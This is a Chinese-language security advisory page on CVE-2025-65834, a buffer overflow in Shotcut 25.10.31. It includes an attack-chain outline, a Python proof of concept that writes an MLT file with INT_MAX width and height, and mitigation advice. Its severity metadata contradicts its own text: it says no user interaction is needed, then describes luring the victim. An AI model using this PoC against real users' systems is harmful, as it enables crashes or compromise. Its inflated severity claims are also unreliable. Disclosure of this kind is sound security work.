IPBUF安全漏洞报告
English
CVE-2025-65834 CVSS 9.8 严重

CVE-2025-65834: Meltytech Shotcut 缓冲区溢出漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-65834
漏洞类型
缓冲区溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Meltytech Shotcut

相关标签

缓冲区溢出Meltytech ShotcutMLT项目文件内存损坏远程代码执行CVSS 9.8严重漏洞CVE-2025-65834mlt_image_fill_white视频编辑软件漏洞

漏洞概述

CVE-2025-65834是Meltytech Shotcut 25.10.31版本中存在的一个严重缓冲区溢出漏洞。该漏洞由于应用程序在处理MLT项目文件时,对宽度和高度参数缺乏有效的边界验证而导致。攻击者可以通过构造恶意的MLT项目文件,将宽度和高度参数设置为极大的数值,当Shotcut尝试打开或处理此类文件时,应用程序会尝试分配过量的内存资源,最终触发mlt_image_fill_white函数中的缓冲区溢出条件。该漏洞的CVSS评分高达9.8,属于严重级别,表明其对机密性、完整性和可用性都造成极高影响。由于攻击无需认证且可通过网络远程利用,威胁等级极高。Meltytech Shotcut是一款跨平台的开源视频编辑软件,广泛应用于视频制作和多媒体处理领域,因此该漏洞可能影响大量用户。任何使用该版本软件处理未知来源的MLT项目文件的用户都可能面临远程代码执行的风险,攻击者可能借此完全控制受害系统。

技术细节

该漏洞的根本原因在于Meltytech Shotcut在解析MLT项目文件时,对width和height参数的验证不足。当应用程序读取MLT文件中的视频参数时,直接将用户可控的值用于内存分配和图像处理操作,而没有检查这些值是否在合理范围内。攻击者可以构造一个包含极大width和height值(通常为INT_MAX或接近该值)的MLT文件。当Shotcut调用mlt_image_fill_white函数处理此文件时,该函数会尝试分配一个巨大的内存块用于图像处理。由于请求的内存大小远超系统可用资源,内存分配可能失败或导致整数溢出,最终引发缓冲区溢出。攻击者可以利用此漏洞执行任意代码,通过精心构造的MLT文件覆盖关键的内存区域,如函数返回地址或重要的数据结构。此外,该漏洞无需用户认证即可被利用,攻击者只需诱导用户打开特制的MLT文件即可完成攻击。这使得该漏洞在钓鱼攻击和社会工程学攻击场景中具有极高的实用价值。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标用户是否使用Meltytech Shotcut 25.10.31版本,并通过各种渠道收集目标信息
STEP 2
步骤2: 制作恶意文件
攻击者构造包含极大width和height参数(INT_MAX值)的恶意MLT项目文件,用于触发缓冲区溢出
STEP 3
步骤3: 诱骗用户
攻击者通过钓鱼邮件、恶意网站、社交工程等方式诱导目标用户打开特制的MLT文件
STEP 4
步骤4: 触发漏洞
当Shotcut打开恶意MLT文件时,mlt_image_fill_white函数尝试分配过大的内存,触发缓冲区溢出
STEP 5
步骤5: 执行恶意代码
攻击者利用缓冲区溢出覆盖关键内存区域,在受害系统上执行任意代码,完全控制目标系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import xml.etree.ElementTree as ET # Create a malicious MLT project file with oversized width and height parameters # This PoC demonstrates the buffer overflow in Meltytech Shotcut 25.10.31 def create_malicious_mlt(output_file): """ Generate a malicious MLT project file with extreme width and height values to trigger buffer overflow in mlt_image_fill_white function """ # MLT XML structure mlt = ET.Element('mlt') mlt.set('version', '6.26.0') # Create producer with oversized dimensions producer = ET.SubElement(mlt, 'producer') producer.set('id', 'producer0') producer.set('in', '0') producer.set('out', '100') # Critical: Set extremely large width and height values property_elem = ET.SubElement(producer, 'property') property_elem.set('name', 'width') property_elem.text = '2147483647' # INT_MAX - triggers buffer overflow property_elem2 = ET.SubElement(producer, 'property') property_elem2.set('name', 'height') property_elem2.text = '2147483647' # INT_MAX - triggers buffer overflow property_elem3 = ET.SubElement(producer, 'property') property_elem3.set('name', 'resource') property_elem3.text = 'test.mp4' # Create playlist playlist = ET.SubElement(mlt, 'playlist') playlist.set('id', 'playlist0') entry = ET.SubElement(playlist, 'entry') entry.set('producer', 'producer0') entry.set('in', '0') entry.set('out', '100') # Write the malicious MLT file tree = ET.ElementTree(mlt) ET.indent(tree, space=' ') tree.write(output_file, encoding='utf-8', xml_declaration=True) print(f'[+] Malicious MLT file created: {output_file}') print(f'[*] Width: 2147483647, Height: 2147483647') print(f'[*] Open this file with Meltytech Shotcut 25.10.31 to trigger the vulnerability') if __name__ == '__main__': create_malicious_mlt('CVE-2025-65834.mlt')

影响范围

Meltytech Shotcut 25.10.31

防御指南

临时缓解措施
在官方补丁发布之前,建议用户避免打开来源不明的MLT项目文件,特别是通过邮件或不明网站获取的文件。同时,可以考虑使用杀毒软件对文件进行预先扫描,并限制Shotcut程序的内存分配权限以减少潜在危害。对于必须处理外部MLT文件的用户,建议在沙盒环境中打开这些文件,以隔离潜在的恶意行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表